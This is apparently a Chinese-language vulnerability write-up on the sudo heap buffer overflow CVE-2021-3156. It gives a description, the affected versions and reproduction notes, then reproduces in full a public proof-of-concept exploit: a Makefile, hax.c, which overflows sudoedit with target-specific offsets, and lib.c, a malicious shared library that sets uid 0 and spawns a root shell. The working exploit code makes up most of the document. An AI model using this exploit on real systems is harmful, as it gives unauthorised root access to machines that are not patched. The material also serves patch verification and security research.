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238 lines
6.8 KiB
Markdown
238 lines
6.8 KiB
Markdown
# Linux sudo 权限提升漏洞 CVE-2021-3156
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## 漏洞描述
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2021年1月26日，Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞，攻击者无需知道用户密码，一样可以获得root权限，并且是在默认配置下。此漏洞已分配为CVE-2021-3156，危险等级评分为7分。
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当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。因此只要存在sudoers文件（通常是/etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限，包括Ubuntu 20.04（sudo 1.8.31）、Debian 10（sudo 1.8.27）和Fedora 33（sudo 1.9.2），并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
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## 漏洞影响
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```
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Sudo 1.8.2 - 1.8.31p2
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Sudo 1.9.0 - 1.9.5p1
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```
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## 漏洞复现
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目前POC已经在Github公开：[Linux sudo权限提升漏洞 CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)
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当前可以验证的Linux环境为
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```
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Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
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```
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**这里使用腾讯云中的Ubuntu镜像进行复现**
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[]()
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使用命令
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[]()
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[
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漏洞POC
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一个无交互式shell使用的脚本 https://github.com/Rvn0xsy/CVE-2021-3156-plus
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**Makefile**
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```c
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all:
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rm -rf libnss_X
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mkdir libnss_X
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gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
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gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
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brute: all
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gcc -DBRUTE -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
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clean:
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rm -rf libnss_X sudo-hax-me-a-sandwich
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```
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**hax.c**
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```c
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/**
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** CVE-2021-3156 PoC by blasty <peter@haxx.in>
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** ===========================================
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**
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** Exploit for that sudo heap overflow thing everyone is talking about.
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** This one aims for singleshot. Does not fuck with your system files.
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** No warranties.
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**
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** Shout outs to:
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** Qualys - for pumping out the awesome bugs
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** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
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** dsc - for letting me rack up his electricity bill
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** my wife - for all the quality time we had to skip
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**
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** Enjoy!
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**
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** -- blasty // 20210130
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**/
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <unistd.h>
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#include <ctype.h>
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// 512 environment variables should be enough for everyone
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#define MAX_ENVP 512
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#define SUDOEDIT_PATH "/usr/bin/sudoedit"
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typedef struct {
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char *target_name;
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char *sudoedit_path;
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uint32_t smash_len_a;
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uint32_t smash_len_b;
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uint32_t null_stomp_len;
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uint32_t lc_all_len;
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} target_t;
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target_t targets[] = {
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{
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// Yes, same values as 20.04.1, but also confirmed.
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.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
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.sudoedit_path = SUDOEDIT_PATH,
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.smash_len_a = 56,
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.smash_len_b = 54,
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.null_stomp_len = 63,
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.lc_all_len = 212
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},
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{
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.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
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.sudoedit_path = SUDOEDIT_PATH,
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.smash_len_a = 56,
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.smash_len_b = 54,
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.null_stomp_len = 63,
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.lc_all_len = 212
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},
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{
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.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
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.sudoedit_path = SUDOEDIT_PATH,
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.smash_len_a = 64,
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.smash_len_b = 49,
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.null_stomp_len = 60,
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.lc_all_len = 214
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}
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};
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void usage(char *prog) {
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fprintf(stdout,
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" usage: %s <target>\n\n"
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" available targets:\n"
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" ------------------------------------------------------------\n",
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prog
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);
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for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
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printf(" %d) %s\n", i, targets[i].target_name);
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}
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fprintf(stdout,
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" ------------------------------------------------------------\n"
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"\n"
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" manual mode:\n"
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" %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n"
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"\n",
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prog
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);
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}
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int main(int argc, char *argv[]) {
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printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");
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if (argc != 2 && argc != 5) {
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usage(argv[0]);
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return -1;
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}
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target_t *target = NULL;
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if (argc == 2) {
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int target_idx = atoi(argv[1]);
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if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
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fprintf(stderr, "invalid target index\n");
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return -1;
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}
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target = &targets[ target_idx ];
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} else {
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target = malloc(sizeof(target_t));
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target->target_name = "Manual";
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target->sudoedit_path = SUDOEDIT_PATH;
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target->smash_len_a = atoi(argv[1]);
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target->smash_len_b = atoi(argv[2]);
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target->null_stomp_len = atoi(argv[3]);
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target->lc_all_len = atoi(argv[4]);
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}
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printf(
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"using target: %s ['%s'] (%d, %d, %d, %d)\n",
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target->target_name,
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target->sudoedit_path,
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target->smash_len_a,
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target->smash_len_b,
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target->null_stomp_len,
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target->lc_all_len
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);
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char *smash_a = calloc(target->smash_len_a + 2, 1);
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char *smash_b = calloc(target->smash_len_b + 2, 1);
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memset(smash_a, 'A', target->smash_len_a);
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memset(smash_b, 'B', target->smash_len_b);
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smash_a[target->smash_len_a] = '\\';
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smash_b[target->smash_len_b] = '\\';
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char *s_argv[]={
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"sudoedit", "-s", smash_a, "\\", smash_b, NULL
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};
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char *s_envp[MAX_ENVP];
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int envp_pos = 0;
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for(int i = 0; i < target->null_stomp_len; i++) {
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s_envp[envp_pos++] = "\\";
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}
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s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
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char *lc_all = calloc(target->lc_all_len + 16, 1);
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strcpy(lc_all, "LC_ALL=C.UTF-8@");
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memset(lc_all+15, 'C', target->lc_all_len);
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s_envp[envp_pos++] = lc_all;
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s_envp[envp_pos++] = NULL;
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printf("** pray for your rootshell.. **\n");
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execve(target->sudoedit_path, s_argv, s_envp);
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return 0;
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}
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```
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**lib.c**
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```c
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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static void __attribute__ ((constructor)) _init(void);
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static void _init(void) {
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printf("[+] bl1ng bl1ng! We got it!\n");
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#ifndef BRUTE
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setuid(0); seteuid(0); setgid(0); setegid(0);
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static char *a_argv[] = { "sh", NULL };
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static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
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execv("/bin/sh", a_argv);
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#endif
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}
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``` |